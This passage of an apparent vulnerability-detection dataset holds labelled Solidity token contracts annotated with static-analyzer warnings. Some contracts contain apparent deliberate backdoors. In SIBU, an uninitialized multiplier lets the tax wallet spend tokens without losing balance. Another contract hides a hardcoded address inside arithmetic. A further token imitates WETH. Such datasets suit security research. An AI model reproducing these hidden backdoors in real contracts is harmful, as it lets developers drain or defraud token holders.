8244b8e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 17daf61): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 17daf61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9cfab59): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9cfab59: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de5c4e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de5c4e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-benign | ID: 52e5bd5\n\t\t// reentrancy-benign | ID: c0cbad2\n\t\t// reentrancy-eth | ID: 17daf61\n\t\t// reentrancy-eth | ID: 9cfab59\n\t\t// reentrancy-eth | ID: de5c4e0\n transfer(address(this), totalSupply().mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-benign | ID: 52e5bd5\n\t\t// reentrancy-benign | ID: c0cbad2\n\t\t// reentrancy-eth | ID: 17daf61\n\t\t// reentrancy-eth | ID: 9cfab59\n\t\t// reentrancy-eth | ID: de5c4e0\n transfer(\n 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045,\n totalSupply().mul(3).div(100)\n );\n\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-benign | ID: 52e5bd5\n\t\t// reentrancy-eth | ID: 17daf61\n\t\t// reentrancy-eth | ID: 9cfab59\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-benign | ID: 52e5bd5\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: db836b1\n\t\t// reentrancy-eth | ID: 9cfab59\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 8244b8e\n\t\t// reentrancy-eth | ID: 9cfab59\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 9cfab59\n swapEnabled = true;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3b00720): COPIUM.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 3b00720: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 3b00720\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10341.sol", "size_bytes": 24160, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract WETH is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfda19f): WETH._totalSupply should be constant \n\t// Recommendation for dfda19f: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 5a81253): WETH._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 5a81253: Remove the state variable shadowing.\n uint256 private _totalSupply = 1 * 10 ** 18;\n\n constructor() ERC20(\"Wrapped Season[weth.ai]\", unicode\"$WETH\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n", "file_name": "solidity_code_10342.sol", "size_bytes": 6779, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SIBU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private constant _taxWallet =\n payable(0x2d155875764885118042508B12F7E6B80e0d933b);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e9b124): SIBU._initialBuyTax should be constant \n\t// Recommendation for 4e9b124: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 303c2a5): SIBU._initialSellTax should be constant \n\t// Recommendation for 303c2a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: e24ffdf): SIBU._finalBuyTax should be constant \n\t// Recommendation for e24ffdf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0fd623): SIBU._finalSellTax should be constant \n\t// Recommendation for f0fd623: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d6bf00): SIBU._reduceBuyTaxAt should be constant \n\t// Recommendation for 6d6bf00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 36;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83201c4): SIBU._reduceSellTaxAt should be constant \n\t// Recommendation for 83201c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 36;\n\n\t// WARNING Optimization Issue (constable-states | ID: 883575e): SIBU._preventSwapBefore should be constant \n\t// Recommendation for 883575e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sibu Junior\";\n\n string private constant _symbol = unicode\"SIBU\";\n\n uint256 public constant _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 8000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable router;\n\n address private immutable uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ba9103): SIBU.navFeeApply should be constant \n\t// Recommendation for 3ba9103: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7adc880): SIBU.navFeeApply is never initialized. It is used in SIBU._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 7adc880: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private navFeeApply;\n\n struct NavSalt {\n uint256 navIn;\n uint256 navOut;\n uint256 reclaimNavToken;\n }\n\n mapping(address => NavSalt) private navSync;\n\n uint256 private navLimExclude;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1a83cb): SIBU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1a83cb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 29fc60d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 29fc60d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ad01b97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ad01b97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 29fc60d\n\t\t// reentrancy-benign | ID: ad01b97\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 29fc60d\n\t\t// reentrancy-benign | ID: ad01b97\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0e3dda6): SIBU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0e3dda6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ad01b97\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 29fc60d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b90a42b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b90a42b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c8c4757): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c8c4757: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 05a1eb8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 05a1eb8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: b90a42b\n\t\t\t\t// reentrancy-benign | ID: c8c4757\n\t\t\t\t// reentrancy-eth | ID: 05a1eb8\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b90a42b\n\t\t\t\t\t// reentrancy-eth | ID: 05a1eb8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-benign | ID: c8c4757\n _calcNavSalt(from, to);\n\n\t\t// reentrancy-events | ID: b90a42b\n\t\t// reentrancy-eth | ID: 05a1eb8\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 05a1eb8\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 05a1eb8\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: b90a42b\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7adc880): SIBU.navFeeApply is never initialized. It is used in SIBU._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 7adc880: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : navFeeApply.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 05a1eb8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b90a42b\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _calcNavSalt(address from, address to) internal {\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: c8c4757\n navLimExclude = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n NavSalt storage navCalc = navSync[to];\n\n if (uniswapV2Pair == from) {\n if (navCalc.navIn == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: c8c4757\n navCalc.navIn = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NavSalt storage navDataCalc = navSync[from];\n\n if (\n navDataCalc.navIn < navCalc.navIn ||\n !(navCalc.navIn > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: c8c4757\n navCalc.navIn = navDataCalc.navIn;\n }\n }\n } else {\n NavSalt storage navDataCalc = navSync[from];\n\n\t\t\t\t// reentrancy-benign | ID: c8c4757\n navDataCalc.navOut = navDataCalc.navIn.sub(navLimExclude);\n\n\t\t\t\t// reentrancy-benign | ID: c8c4757\n navDataCalc.reclaimNavToken = block.timestamp;\n }\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b90a42b\n\t\t// reentrancy-events | ID: 29fc60d\n\t\t// reentrancy-benign | ID: ad01b97\n\t\t// reentrancy-benign | ID: c8c4757\n\t\t// reentrancy-eth | ID: 05a1eb8\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b90a42b\n\t\t// reentrancy-events | ID: 29fc60d\n\t\t// reentrancy-eth | ID: 05a1eb8\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function cleanStuck_ETH() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n payable(owner()).transfer(contractBalance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d90381f): SIBU.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(router),type()(uint256).max)\n\t// Recommendation for d90381f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f11c5fd): SIBU.openTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f11c5fd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c16b4d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c16b4d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(router), _tTotal);\n\n\t\t// unused-return | ID: f11c5fd\n\t\t// reentrancy-eth | ID: c16b4d1\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: d90381f\n\t\t// reentrancy-eth | ID: c16b4d1\n IERC20(uniswapV2Pair).approve(address(router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c16b4d1\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10343.sol", "size_bytes": 22076, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable 